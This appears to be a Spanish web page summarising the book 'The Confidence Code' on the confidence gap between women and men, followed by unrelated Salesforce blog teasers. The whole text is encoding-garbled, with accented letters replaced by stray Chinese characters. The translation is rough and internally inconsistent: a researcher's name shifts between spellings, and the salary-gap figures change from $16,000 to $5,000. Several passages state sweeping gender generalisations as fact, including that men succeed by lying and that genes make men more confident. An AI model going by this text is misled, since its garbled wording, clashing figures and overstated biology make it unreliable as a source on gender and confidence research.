  • Para pensar que existen personas hoy en la actualidad que a煤n creen que no hubo nunca tal cosa como discriminaci贸n de g茅nero. 

Confianza y competencia, hombres y mujeres

Las audiciones a 鈥ciegas鈥 mejoraron la posibilidad de que las mujeres m煤sicas sean contratadas por orquestras, no solo porque se basaban en contrataciones seg煤n el g茅nero, sino tambi茅n porque disparaban los niveles de confianza femeninas.聽

Es m谩s f谩cil creer en uno mismo cuando est谩s por ti mismo, detr谩s de una pantalla y nadie est谩 mirando: es muy dif铆cil cuando alguien est谩 juzgando cada aspecto de tu ser.

Esto sucede en especial para las mujeres, incluso las m谩s exitosas, que se las eval煤a de manera constante. Y esto es un gran problema. En especial, teniendo en cuenta que el 茅xito se relaciona m谩s cercanamente con la confianza que con la competencia.

La falta de confianza femenina es m谩s que solo una colecci贸n de an茅cdotas o escenarios familiares

Por ejemplo, un estudio brit谩nico del 2011 descubri贸 que:

  • M谩s de la mitad de las mujeres brit谩nicas dudaban de su competencia y conocimiento;
  • Menos de un tercio de los hombres que respondieron a ese estudio reportaron sentimientos similares,

Linda Babcock, una profesora de econom铆a de la Universidad de Carnegie Mellon, realiz贸 un estudio similar en los Estados Unidos:

  • Descubri贸 que los hombres negocian sus salarios cuatro veces m谩s frecuentemente que las mujeres, y
  • Piden un 30% m谩s durante dichas negociaciones,  

Estos descubrimientos est谩n en sinton铆a con aquellos de Marilyn Davidson, profesor en la prestigiosa Escuela de Negocios de Manchester en Inglaterra:

  • Luego de investigar a sus alumnos sobre sus salarios esperados 5 d铆as despu茅s de su graduaci贸n, descubri贸 que hab铆a una diferencia consistente de $16,000 entre las expectativas de los mujeres y los hombres,
  • Piensa sobre eso durante un minuto: Las mujeres efectivamente creen que son 20% menos favorables que los hombres creen que son.鈥 Esto por supuesto afecta su comportamiento y acciones a trav茅s de sus vidas y en definitiva da forma a su destinos.

Lo opuesto es para los hombres, muchos de ellos son exitosos porque son buenos mintiendo.

De hecho, alguno de ellos lo han logrado precisamente porque tienen la capacidad de creerse ellos mismos cuando est谩n simulando una situaci贸n. Las mujeres no son tan buenas en esto.

Como la confianza afecta la inteligencia y el estatus

La confianza importa al menos tanto como lo hace la competencia si no m谩s. Esto es lo que han demostrado muchos estudios. Esto es tambi茅n lo que el psic贸logo de Berk械ley  Cameron Anderson descubri贸:

  • Luego de darle a un grupo de 242 alumnos una lista de nombres hist贸ricos en los que deb铆an tildar los que conoc铆an,
  • Algunos de dichos nombres y eventos eran reales o al menos cre铆bles (tales como el Papa Joan o la explosi贸n de Tunguska), y otros (tales como la Reina Shaddock o La 脷ltima Ride de Murphy) fueron inventados,
  • El resultado sorprendente del estudio fue que la gente que hab铆a confundido la mayor铆a de los falsos eran aquellos que eran m谩s confiados y con m谩s alto estatus social,
  • Por lo tanto, a pesar de ser menos competentes que muchos de sus colegas, estos alumnos eran aquellos que ten铆an la mayor influencia con sus pares. La gran mayor铆a de ellos eran hombres.

Este fen贸meno se explica en una serie de ex谩menes realizados unos a帽os atr谩s con m谩s de 500 alumnos realizado por un profesor de la universidad de Mil谩n y un renombrado investigador de la disparidad de la confianza entre hombres y mujeres:

  • Fueron dados tareas de reordenar diversos rompecabezas en una pantalla de computadora por lo tanto no es una exageraci贸n decir que tienen que resolver unos cubos de Rubik simplificados,
  • Est茅s opt贸 por dichos rompecabezas por una raz贸n: es un hecho sabido que, en promedio los hombres son mejores que las mujeres en tareas de razonamiento espaciales que involucran rotaciones mentales,
  • Esto puede ser una de las razones de porqu茅 los hombres son mejores que las mujeres en ajedrez: probablemente debido a la evoluci贸n, parec铆an ser capaces de visualizar mejor (y m谩s) en el espacio.

Pero Estes estaba interesado en otra cosa: El quer铆a ver si la confianza tenia algo que ver con esta disparidad. Lo que descubri贸 era asombroso:

  • Como se esperaba al principio, las mujeres obtuvieron menos puntos que los hombres en el grupo,
  • Sin embargo, se di贸 cuenta que la raz贸n detr谩s de esto podr铆a ser mucho m谩s banal que una predisposici贸n basada en el sexo: muchas de las mujeres ni siquiera hab铆an intentado contestar alguna de las preguntas,
  • Eso es porque repiti贸 el test esta vez agregando una advertencia, si no se intentaba hab铆a puntos negativos. Para su sorpresa los puntos de las mujeres aumentaron, y fueron casi tan buenos como la de los hombres.

En uno de los pocos dominios en donde los hombres en promedio tienen un cociente de inteligencia espacial m谩s alto que las mujeres. Parece atribuirse a la confianza y no tanto a la competencia. 

Sabotaje y Auto sabotaje    

El trabajo de Estos ilustra un punto interesante, principalmente el resultado natural de la baja confianza es la inacci贸n.

En otras palabras, las mujeres se retraen porque dudan demasiado y act煤an poco.Los hombres no tienen este problema. Por lo tanto, tienden a ir m谩s all谩 en la vida. Temerosas del fracaso y paralizadas por la auto duda las mujeres, preferir铆an no hacer nada a hacer algo mal. Los hombres preferir谩n hacer algo a no hacer nada.

Debido a que los humanos aprenden a trav茅s de la prueba y el error:

  • Los hombres se predisponen para el 茅xito considerando a los fracasos como algo temporario,
  • . Las mujeres por otro lado se setean para el fracaso esperando nada menos que un 茅xito permanente de ellas mismas.

Desafortunadamente, las mujeres no solo se sabotean a ellas mismas, la sociedad interfiere con su crecimiento y progreso tambi茅n.

Si ingresamos a la oficina de nuestro jefe con opiniones no solicitadas, si hablamos primero en reuniones y damos un consejo comercial sobre nuestros pagos no caeremos bien o nos dir谩n malditas.

Los hombres no tienen este tipo de problemas. Como Linda Hudson anterior presidenta y CEO de BAE Systems, not贸 en una entrevista con los autores:

Cuando un hombre ingresa a un cuarto ellos asumen ser competentes has que se pruebe lo contrario. Para las mujeres es todo lo contrario

Para peor las mujeres quieren que los dem谩s les agrade mucho m谩s que los hombres, La diferencia de $5,000 en el pago, en muchos modos es un resultado directo de su pedido por querer agradar al otro.  

Agradar a los dem谩s importan pero cuando est谩 muy focalizado en eso mata la confianza. La falta de confianza mata las posibilidades de uno de ir m谩s all谩 porque evita que utilicen estrategias m谩s agresivas. 

Dientes de Le贸n y Orqu铆deas

Contrario al conocimiento popular las mujeres no son realmente m谩s vulnerables que los hombres. Sin embargo, seg煤n el psic贸logo Steve Suomi descubri贸 accidentalmente unos a帽os atr谩s puede ser m谩s sensible al entorno:

Hay una gran diferencia entre ser vulnerable y ser sensible. La primera est谩 anclada a la pasividad, la 煤ltima es activa y promete esperanza para el futuro. Aqu铆 es porque

Los monos Rhesus comparten el 94% de sus genes con los humanos. Es por eso porque Suomi ha pasado varias d茅cadas estudiando su comportamiento. Lo que descubri贸 era que su sensibilidad podr铆a estar relacionada en sus genes.

Espec铆ficamente Suomi estaba interesado en el gen SLC6A4, presente tanto en los monos Rhesus y humanos y responsables por la serotonina, una de las hormonas de la felicidad. La serotonina tambi茅n regula nuestro apetito, los patrones de sue帽o y m谩s importante nuestros humores. Cuanto m谩s tienes esta hormona m谩s feliz y m谩s calmado te sentir谩s. 

Suomi not贸 que existen dos mutaciones diferentes del gen SLC6A4 en los monos Rhesus, uno con bandas m谩s cortas y otro m谩s largas. Entonces not贸 algo a煤n m谩s extra帽o:

  • El gen m谩s largo SLC6A4 estaba presente en la mayor铆a de todos los monos que presentaban caracter铆sticas de liderazgo,
  • Por otro lado, los monos con bandas m谩s cortas de SLC6A4 eran menos sociales y m谩s temerosos a tomar riesgos,
  • En t茅rminos m谩s simples, algunos monos solo nac铆an confiados, mientras otros no eran tan afortunados,
  • Desafortunadamente, lo mismo suced铆a con los humanos: los hombres simplemente pod铆an ser reprogramados para ser mas confiados que las mujeres.

Pero hay luz al final del camino:

  • Las exepciones entre los monos eran aquellos monos que eran criados por grandes madres. Y no eran solo exepciones comunes: Eran los mejores,
  • Sus genes los hab铆an hecho sensibles no solo a los sufrimientos y dolores de la vida, sino tambi茅n a todo lo bueno,
  • . Cuando se les daba la oportunidad de crecer correctamente, estos monos t铆picamente sobresaltaban todo el resto.

En c铆rculos cient铆ficos, esta teor铆a es conocida como la teor铆a de la orqu铆dea. La mayor铆a de los ni帽os creen los psic贸logos son como los dientes de le贸n: capaces de sobrevivir en todo entorno.

Las ni帽as pueden ser vistas como orqu铆deas: complicadas para criar, pero si son criadas en un entorno correcto, son capaces de superar e ir m谩s all谩 incluso que sus contrapartes dientes de le贸n.

Notas Finales

The Confidence Code es simult谩neamente disfrutable, combinando con estudios cient铆ficos con reportes de primera mano de algunas de las lideres mujeres m谩s poderosas del mundo. Nuevamente, el libro demuestra que los hombres son m谩s exitosos que las mujeres, no porque no sean m谩s competentes sino porque tienen mas confianza.

Con esta estrategia en especial si eres mujer podr谩s ser exitosa. Despu茅s de todo, los hombres han estado utilizando la misma estrategia para llegar a donde est谩n durante siglos.

4 tendencias tecnol贸gicas del sector p煤blico a tener en cuenta en 2023

Los expertos de la industria de Salesforce comparten sus perspectivas sobre la direcci贸n de la industria del sector p煤blico durante los pr贸ximos doce meses.

Seguir leyendo

Procesamiento de grandes cantidades de datos con API (parte 1 de 2) 鈽侊笍

Cuando trabaje en un entorno empresarial, es posible que deba procesar grandes cantidades de registros de Salesforce utilizando las API de la plataforma. En esta serie de dos publicaciones, presentaremos opciones para procesar datos a escala. En esta primera publicaci贸n, nos centraremos en las operaciones de lectura con la API REST y las API masivas. Presentaremos cu谩l es la mejor opci贸n [鈥

La publicaci贸n Procesamiento de grandes cantidades de datos con API (Parte 1 de 2) apareci贸 primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

C贸mo aprobar el examen

脷ltima actualizaci贸n el 20 de noviembre de 2022 por Rakesh Gupta Han pasado aproximadamente tres a帽os desde que aprob茅 el examen de Einstein Analytics and Discovery Consultant. En las 煤ltimas semanas, muchas personas se comunicaron conmigo para pedirme orientaci贸n y un camino para convertirme en un consultor certificado de an谩lisis y descubrimiento de Einstein.

La publicaci贸n How to Pass Tableau CRM & Einstein Discovery Consultant Exam apareci贸 primero en Automation Champion .

Seguir leyendo

C贸mo aprobar el examen de certificaci贸n de consultor de Sales Cloud

脷ltima actualizaci贸n el 20 de noviembre de 2022 por Rakesh Gupta Como consultor certificado de Sales Cloud reci茅n nombrado, estoy compartiendo mis experiencias de estudio con usted y quiero que sea el pr贸ximo en hacerlo. 隆As铆 que prep谩rate y sum茅rgete! 馃憠 Ya que est谩s aqu铆, quiz谩s quieras

La publicaci贸n C贸mo aprobar el examen de certificaci贸n de consultor de Sales Cloud apareci贸 primero en Automation Champion .

Seguir leyendo